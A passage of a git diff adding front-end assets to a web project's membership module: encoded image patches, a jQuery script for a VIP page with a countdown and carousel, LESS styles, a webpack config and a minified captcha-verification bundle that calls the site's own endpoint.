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 X61?6<`r@cFww%s#q-Z&N9?tz6Cp`mM literal 0 HcmV?d00001 diff --git a/module/Member/resources/asset/src/script/memberVip.js b/module/Member/resources/asset/src/script/memberVip.js new file mode 100644 index 00000000..8bc4af34 --- /dev/null +++ b/module/Member/resources/asset/src/script/memberVip.js @@ -0,0 +1,67 @@ +$(function () { + + // VIP 点击滚动 + var $container = $('.vip-list-container'); + var $items = $('.pb-member-vip .vip-list .item'); + var $contents = $('.vip-content-list .item'); + $items.on('click', function () { + var vipId = $(this).attr('data-vip-id'); + var index = $items.index($(this)); + $contents.hide().eq(index).show(); + $('[data-vip-info]').find('[data-vip-value]').html('-') + $('[data-vip-info]').show(); + $items.removeClass('active'); + $(this).addClass('active'); + $('[name=vipId]').val($(this).attr('data-vip-id')); + var $rights = $('[data-vip-right-list] [data-vip-right]'); + $rights.hide().filter(function (i, o) { + return $(o).attr('data-vip-right').split(',').indexOf(vipId) >= 0; + }).show(); + }); + $container.find('.nav').on('click', function () { + var currentItemIndex = $items.index($items.filter('.active')); + if ($(this).hasClass('left')) { + currentItemIndex--; + } else { + currentItemIndex++; + } + currentItemIndex = Math.max(0, Math.min(currentItemIndex, $items.length - 1)); + var $current = $items.eq(currentItemIndex).click(); + try { + $current.get(0).scrollIntoView({ + behavior: 'smooth', block: 'nearest', inline: 'start' + }); + } catch (e) { + } + return false; + }); + $($items.get(0)).click(); + + // 倒计时 + var end = new Date().getTime() + window.__data.countDownSeconds * 1000; + var $countDown = $('[data-count-down]'); + setInterval(function () { + var left = end - new Date().getTime(); + if (left <= 0) { + $countDown.html('00:00:00.0'); + } else { + var h = Math.floor(left / 1000 / 60 / 60); + var m = Math.floor(left / 1000 / 60 % 60); + var s = Math.floor(left / 1000 % 60); + var ms = Math.floor(left % 1000 / 100); + $countDown.html((h < 10 ? '0' + h : h) + ':' + (m < 10 ? '0' + m : m) + ':' + (s < 10 ? '0' + s : s) + '.' + (ms < 10 ? '0' + ms : ms)); + } + }, 100); + + // 开通列表 + var swiper = new Swiper("[data-vip-open-list]", { + direction: "vertical", + slidesPerView: 5, + rewind: true, + loop: true, + autoplay: { + delay: 2000, + }, + }); + +}); diff --git a/module/Member/resources/asset/src/style/member.less b/module/Member/resources/asset/src/style/member.less new file mode 100644 index 00000000..24c8aa82 --- /dev/null +++ b/module/Member/resources/asset/src/style/member.less @@ -0,0 +1,119 @@ +@memberVipBgColor: #ffca92; +@memberVipTextColor: #8B5F20; + +.pb-page-member-vip { + background-color: @memberVipBgColor; + border-radius: 0.5rem; + padding: 1rem; + position: relative; + + .vip-button { + background: linear-gradient(152.86deg, #03010a 12.8%, #010007 86.46%); + color: @memberVipBgColor; + display: inline-block; + line-height: 1rem; + padding: 0.1rem 0.5rem; + border-radius: 1rem; + font-weight: bold; + border: none; + cursor: pointer; + + &:hover { + background: linear-gradient(152.86deg, #010007 86.46%, #03010a 86.46%); + } + + &.lg { + font-size: var(--font-size-large); + padding: 0.5rem 1rem; + } + } + + .vip-text { + color: @memberVipTextColor; + } + + .vip-bg { + background: #FFF6EC; + } + + .top { + margin-bottom: 0.5rem; + } + + .body { + background: #FFF; + border-radius: 0.5rem; + + .pb-member-vip { + + .vip-list-container-box { + position: relative; + + .vip-list-container { + overflow-x: auto; + + + .nav { + background: #fff; + display: block; + position: absolute; + top: 50%; + width: 2rem; + height: 2rem; + line-height: 2rem; + color: var(--color-tertiary); + border-radius: 50%; + text-align: center; + font-size: 1rem; + box-shadow: 0 0 0.5rem #ccc; + margin-top: -1rem; + + i { + display: block; + line-height: 2rem; + text-align: center; + } + + &.left { + left: 0.2rem; + } + + &.right { + right: 0.2rem; + } + } + + .vip-list { + text-align: center; + display: flex; + justify-content: start; + min-width: min-content; + padding: 0.5rem 2rem; + + .item { + text-align: center; + flex-grow: 1; + border: 1px solid #ffca92; + border-radius: 0.5rem; + margin: 0.5rem; + padding: 1rem; + cursor: pointer; + color: #381D00; + width: 12rem; + max-width: 12rem; + flex-shrink: 0; + + &.active { + background-image: linear-gradient(180deg, #ffe1b2, #fff9ed); + } + + } + } + } + } + } + + } +} + + diff --git a/module/Member/resources/asset/webpack.config.js b/module/Member/resources/asset/webpack.config.js new file mode 100644 index 00000000..7a3065b6 --- /dev/null +++ b/module/Member/resources/asset/webpack.config.js @@ -0,0 +1,2 @@ +const webpack = require('./../../../../vendor/modstart/modstart/resources/asset/src/mod/webpack.js'); +module.exports = webpack(__dirname) diff --git a/public/vendor/Member/entry/register.js b/public/vendor/Member/entry/register.js new file mode 100644 index 00000000..4ad5e23d --- /dev/null +++ b/public/vendor/Member/entry/register.js @@ -0,0 +1 @@ +!function(a){var r={};function n(t){if(r[t])return r[t].exports;var e=r[t]={i:t,l:!1,exports:{}};return a[t].call(e.exports,e,e.exports,n),e.l=!0,e.exports}n.m=a,n.c=r,n.d=function(t,e,a){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:a})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var a=Object.create(null);if(n.r(a),Object.defineProperty(a,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(a,r,function(t){return e[t]}.bind(null,r));return a},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p=window.__msCDN+"vendor/Member/",n(n.s=0)}([function(t,e,a){!function(e){window.__memberCheckCaptcha=function(t){t=t||{captcha:e("[name=captcha]").val()},e("[data-captcha-status]").hide().filter("[data-captcha-status=loading]").show(),window.api.base.post(window.__msRoot+"register/captcha_verify",t,function(t){window.api.base.defaultFormCallback(t,{success:function(t){e("[data-captcha-status]").hide().filter("[data-captcha-status=success]").show(),e("[name=captcha]").attr("data-form-process","success")},error:function(t){e("[data-captcha-status]").hide().filter("[data-captcha-status=error]").show(),e("[data-captcha]").click(),e("[name=captcha]").attr("data-form-process","success")}})})}}.call(this,a(1))},function(t,e){t.exports=window.$}]); \ No newline at end of file diff --git a/public/vendor/Member/image/vip_bg.jpeg b/public/vendor/Member/image/vip_bg.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..06b35eb8ba92348f5c3b68ed64b8344475020ce9 GIT binary patch literal 19888 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 